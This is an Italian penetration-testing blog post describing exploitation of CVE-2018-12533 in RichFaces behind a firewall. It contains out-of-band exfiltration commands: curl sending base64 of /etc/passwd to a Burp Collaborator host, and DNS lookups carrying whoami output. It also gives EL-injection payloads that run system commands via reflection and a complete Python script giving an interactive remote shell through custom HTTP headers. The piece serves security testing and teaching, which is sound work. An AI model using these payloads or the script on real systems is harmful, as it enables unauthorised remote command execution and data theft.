Weak password or weak hash function
A new tragedy
Dario Ragno
In questo articolo descriviamo due diverse tecniche con cui siamo riusciti a fare data exfiltration tramite la vulnerabilità di RCE del CVE-2018-12533 in un ambiente protetto da firewall.
Durante un Penetration Test per una "big company", osservando l’HTML di una pagina web, abbiamo individuato un tag <link>
con un path relativo contenente un riferimento alla libreria RichFaces. Inoltre, il link conteneva una stringa codificata in Base64 che ci ha fatto pensare a un qualche tipo di oggetto serializzato.
Dopo una rapida ricerca su Google, abbiamo trovato un CVE relativo a RichFaces che poteva fare al caso nostro: il CVE-2018-12533. La vulnerabilità è sembrata promettente considerando che si tratta di RCE. Leggendo la descrizione abbiamo capito che tale vulnerabilità è incentrata su due problematiche: Arbitrary Java Deserialization e Arbitrary EL Evaluation. Maggiori informazioni sul CVE sono disponibili sul blog di Code White.
A questo punto ci occorreva un payload per verificare se il CVE fosse applicabile o meno. Sempre grazie a Google, abbiamo trovato una repository git che sembrava fare al caso nostro: https://github.com/TheKalin/CVE-2018-12533. Quindi abbiamo scaricato il codice, corretto alcuni problemi e compilato. Con il JAR abbiamo generato un payload da iniettare nella richiesta HTTP per provare ad ottenere un PoC.
Per sfruttare la vulnerabilità abbiamo creato un payload usando lo script menzionato e l'abbiamo iniettato nella URI path. Purtroppo, anche utilizzando un payload corretto, non era presente nessun output nella risposta. L’immagine che segue mostra un esempio opportunamente anonimizzato della richiesta e della relativa risposta del server.
Come è possibile notare, in risposta era presente solo un’immagine PNG generata mediante l’oggetto serializzato.
Allora abbiamo provato a far eseguire al server un comando più basilare come nslookup poc-cmd.<burpcollaborator>.net
. Ciò che ci aspettavamo era una richiesta DNS da parte del server remoto verso il nostro Burp Collaborator. Infatti, successivamente all’invio del payload, siamo andati a vedere la finestra del nostro Burp Collaborator e... BOOM!
l'exploit ha funzionato correttamente, dandoci così un PoC della vulnerabilità.
Non avendo ricevuto alcun output all'interno del corpo della risposta, abbiamo provato a inserire l'output del comando come URI path di un dominio sotto il nostro controllo. Di seguito un esempio di comando bash per Out of Band (OOB) Exploitation:
curl http://<unique-subdomain>.burpcollaborator.net/`cat /etc/passwd|base64 -w0`
Dopo alcuni tentativi, abbiamo concluso che il firewall stava bloccando tutto il traffico TCP.
La connessione che avevamo ricevuto precedentemente indicava una query DNS (UDP) effettuata verso il nostro Burp Collaborator. A questo punto, per superare il firewall, ci sono venute in mente le seguenti metodologie:
L’uso del protocollo UDP ci è sembrata una buona scelta dal momento che siamo già riusciti a ottenere una query DNS su un dominio sotto il nostro controllo. L’idea di base è di eseguire un comando principale per poi inserire l’output di quest’ultimo come subdomain di un dominio sotto nostro controllo. Successivamente è sufficiente analizzare la query effettuata dal server remoto per verificare se contiene i dati esfiltrati. Di seguito uno schema che spiega il funzionamento della data exfiltration tramite DNS:
Ad esempio, se vogliamo esfiltrare lo username dell'utente corrente, possiamo usare il seguente payload:
nslookup `whoami`.nostrodominio.com
Di seguito un esempio:
Su Burp Collaborator vediamo il DNS lookup che segue:
Sfortunatamente, questa tecnica ha alcune limitazioni. Una su tutte è il numero massimo di caratteri che può avere un sottodominio. Citando Wikipedia: "I nomi di dominio sono soggetti a determinate restrizioni: per esempio ogni parte del nome (quella cioè limitata dai punti nel nome) non può superare i 63 caratteri e il nome complessivo non può superare i 255 caratteri". Quindi, per sfruttare tale tecnica, è necessario dividere l’output in parti di lunghezza massima di 63 caratteri e per ognuna è necessario eseguire una query DNS. Inoltre, i nomi di dominio non possono contenere alcuni caratteri speciali, dunque è necessario eliminarli o trasformarli prima di eseguire la query DNS.
Usando questa tecnica siamo comunque riusciti ad estrarre l’output di alcuni comandi ma volevamo qualcosa in più...
Cercando in Internet abbiamo scoperto che Java Server Faces (JSF) consente di impostare degli header HTTP personalizzati tramite l'oggetto facesContext
. Questo ci fornisce una nuova opportunità per sfruttare la RCE. L'idea è di impostare un header personalizzato che contiene l'output del comando che vogliamo eseguire. In questo modo non abbiamo più i limiti imposti dalla metodologia di data exfiltration tramite DNS e riusciamo comunque a superare il firewall in quanto la risposta è correlata a una connessione TCP valida e iniziata da un client. Di seguito lo schema che descrive la nuova tecnica:
Non spieghiamo in questo articolo cos'è la vulnerabilità di "Expression Language Injection" o EL-Injection, basti sapere che consente di iniettare codice java e che, come da CVE-2018-12533, RichFaces ne soffre. Inoltre, una particolarità della libreria RichFaces è la visibilità sull’oggetto facesContext
che, come abbiamo visto, permette l’accesso a funzioni per la gestione delle richieste e delle risposte HTTP.
Analizziamo un payload che inserisce un header HTTP personalizzato nella risposta mediante l’uso della java reflection:
#{facesContext.getExternalContext().getResponse().setHeader("TestHeader", "output")}
Il codice precedente usa l'oggetto facesContext
per chiamare il metodo getResponse()
che restituisce un oggetto che rappresenta la risposta HTTP del server. Infine, chiama il metodo setHeader()
che permette appunto di impostare un header HTTP personalizzato.
In generale, con l'EL Injection ci sono alcune limitazioni sul codice che è possibile iniettare. Ad esempio, non si possono dichiarare variabili e istanziarle come nel codice mostrato di seguito:
String s = new String("test");
Bisogna invece utilizzare la java reflection per manipolare il codice. Una buona spiegazione della tecnica di java reflection può essere trovata qui: Java Reflection API Tutorial with Example. Fondamentalmente, è necessario accedere ad un oggetto esistente nel contesto in cui stiamo operando e usare i metodi di reflection per accedere ad altre funzioni o altri oggetti durante l'esecuzione.
Nella figura seguente abbiamo un esempio di utilizzo di java reflection in cui partiamo da una stringa vuota e utilizziamo la riflessione per accedere ad alcuni metodi.
Esaminiamo ora la struttura di un payload che utilizza la java reflection per ottenere una Command Execution.
Nel codice mostrato sopra, abbiamo utilizzato il metodo getMethods()
che restituisce un array contenente tutti i metodi della classe java.lang.Runtime
. Selezionando il settimo elemento di questo array (che corrisponde alla funzione exec(String command, String[] envp)
) e usando il metodo invoke()
per generare un oggetto di tipo Process
, è possibile eseguire un comando di sistema (noi ad esempio abbiamo eseguito "calc.exe", la calcolatrice di Windows).
Ovviamente vogliamo usare questa tecnica per eseguire comandi sul sistema remoto.
Iniziamo ora a mettere insieme i pezzi per raggiungere l'obiettivo: ottenere l’output. Al momento siamo in grado di modificare la risposta del server e ottenere un output con questo payload:
#{facesContext.getExternalContext().getResponse().setHeader("TestHeader", "output")}
ed eseguire comandi sul server con quest’altro payload:
#{"".GetClass().ForName("java.lang.Runtime").GetMethods()[6].invoke("".GetClass().ForName("java.lang.Runtime"))).exec("calc.exe")}
A questo punto serve un modo per memorizzare l'output del comando e creare l’header HTTP personalizzato. Ciò che si può fare è provare ad accedere ad un oggetto già esistente come session
e, mediante quest’ultimo, invocare metodi setter; un esempio di codice potrebbe essere il seguente:
#{session.setAttribute("proc",session.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("bash, -c, whoami".split(",")))}
Il codice sopra non fa altro che associare al nome proc
, memorizzato nella sessione corrente, l'oggetto restituito dalla exec()
. Nell'esempio abbiamo eseguito il comando di sistema whoami
.
Ora non resta che leggere il nuovo oggetto memorizzato in sessione e inserire il contenuto in un header personalizzato. Fortunatamente Java mette a disposizioni due classi utili allo scopo: InputStreamReader
e BufferedReader
.
Il flusso che ci è venuto in mente è il seguente:
1. istanziare un oggetto InputStreamReader
al fine di catturare lo stream dell'oggetto Process
e conservare il nuovo oggetto, che abbiamo chiamato val2
, in sessione:
#{Session.setAttribute("val2", "".GetClass().ForName("java.io.InputStreamReader").GetDeclaredConstructors()[0].newInstance(session.getAttribute("proc").GetInputStream()))}
2. istanziare un oggetto BufferedReader
con l'oggetto InputStreamReader
al fine di leggere lo stream riga per riga e conservare il nuovo oggetto ,che abbiamo chiamato in val3
, in sessione:
#{Session.setAttribute("val3", "".GetClass().ForName("java.io.BufferedReader").GetDeclaredConstructors()[1].newInstance(session.getAttribute("val2")))}
3. leggere riga per riga il contenuto dell'oggetto BufferedReader
con la funzione readLine()
:
#{Session.getAttribute("val3").ReadLine()}
4. inserire, infine, il contenuto di val3
, letto riga per riga, in un header HTTP personalizzato che abbiamo chiamato TestHeader
:
#{FacesContext.getExternalContext().GetResponse().SetHeader("TestHeader",session.getAttribute("val3").ReadLine())}
A questo punto il gioco è fatto, abbiamo una risposta dal server che contiene l'output del comando desiderato all'interno di un header HTTP!
Riassumendo, con tre richieste HTTP distinte siamo in grado di:
InputStreamReader
BuferedReader
facesContext
Ovviamente, per automatizzare la procedura, abbiamo scritto un semplice script in python per simulare una shell interattiva.
#!/usr/bin/python
import requests
import urllib3
from urllib import unquote
import subprocess
import optparse
from Cookie import SimpleCookie
import base64
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/path/)")
parser.add_option('-c', '--cookie', action="store", dest="cookie", help="Session cookies")
options, args = parser.parse_args()
if not options.cookie:
print "[+] Insert session cookies"
exit()
if not options.url:
print "[+] Insert target uri"
exit()
def parse_cookies(cookie_val):
if 'Cookie:' not in cookie_val:
cookie_val = 'Cookie: ' + cookie_val
cookie = SimpleCookie()
cookie.load(cookie_val)
cookies = {}
for key, morsel in cookie.items():
cookies[key] = morsel.value
return cookies
def req(java_payload):
#print url + java_payload
flag = True
r = None
while flag:
try:
r = requests.get(url + java_payload, cookies=cookies, verify=False, allow_redirects=False)
except:
pass
finally:
flag = False
return r.headers['output']
def get_payload(el_payload):
out = '#{facesContext.getExternalContext().getResponse().setHeader("output",' + el_payload + ')}'
#print out
return subprocess.check_output(['java', '-jar', 'richfaces_payload_generator.jar', out]).replace('\n', '')
def readLine_java():
while True:
out = req(get_payload('session.getAttribute("val3").readLine()'))
if out == "":
break
print base64.b64decode(unquote(out).replace('+', " "))
url = options.url + "/a4j/g/3_3_1.GA"
cookies = parse_cookies(options.cookie)
while True:
cmd = raw_input('# ')
req(get_payload('session.setAttribute("val",session.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("bashexPlo1t-cexPlo1t' + cmd.replace('"', '\\"') + ' | base64 -w 0".split("exPlo1t")))'))
req(get_payload('session.setAttribute("val2","".getClass().forName("java.io.InputStreamReader").getDeclaredConstructors()[0].newInstance(session.getAttribute("val").getInputStream()))'))
req(get_payload('session.setAttribute("val3","".getClass().forName("java.io.BufferedReader").getDeclaredConstructors()[1].newInstance(session.getAttribute("val2")))'))
readLine_java()
Abbiamo avuto modo di sperimentare due valide strategie da conoscere durante un Penetration Test per ottenere l’output da un ambiente protetto da firewall. Inoltre, usare regole firewall restrittive è sicuramente una buona scelta ma evidentemente il solo impiego di un firewall non è sufficiente di fronte a un attaccante motivato e competente.
Gemma Contini
Daniele Scanu
Fabio Carretto
Certimeter Group crede nei valori, nella passione e nella professionalità delle persone.